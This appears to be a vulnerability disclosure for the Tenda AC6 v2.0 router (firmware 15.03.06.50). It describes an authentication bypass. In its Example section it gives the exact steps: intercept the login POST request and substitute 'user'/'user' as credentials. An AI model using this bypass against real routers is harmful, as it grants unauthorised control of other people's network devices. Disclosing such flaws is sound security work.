Tenda AC1200 - login bypass

 [Description]
 Incorrect access control in Tenda AC1200 Smart Dual-Band WiFi Router
 Model AC6 v2.0 Firmware v15.03.06.50 allows attackers to bypass
 authentication via a crafted web request.

 ------------------------------------------

 [Vulnerability Type]
 Incorrect Access Control

 ------------------------------------------

 [Vendor of Product]
 Tenda

 ------------------------------------------

 [Affected Product Code Base]
 Tenda AC1200 Smart Dual-Band WiFi Router Model: AC6 - AC6 v2.0 Firmware V15.03.06.50

 ------------------------------------------

 [Affected Component]
 Router configuration can be changed, or other vulnerabilities can be exploited.

 ------------------------------------------

 [Attack Type]
 Context-dependent

 ------------------------------------------

 [Impact Information Disclosure]
 true

 ------------------------------------------

 [Attack Vectors]
 Attacker must intercept the login request and change the credentials.

 ------------------------------------------

 [Example]
 When the login page request is intercepted by tools like BurpSuite, we can see
 something like that:
 POST /login/Auth HTTP1/1
 ...
 username=admin&password=37a749d808e46495a8da1e5352d03cae

 If we change username and password with "user", we will be able to login.

 username=user&password=user

 ------------------------------------------

 [Discoverer]
 Ivan Dushkov

 ------------------------------------------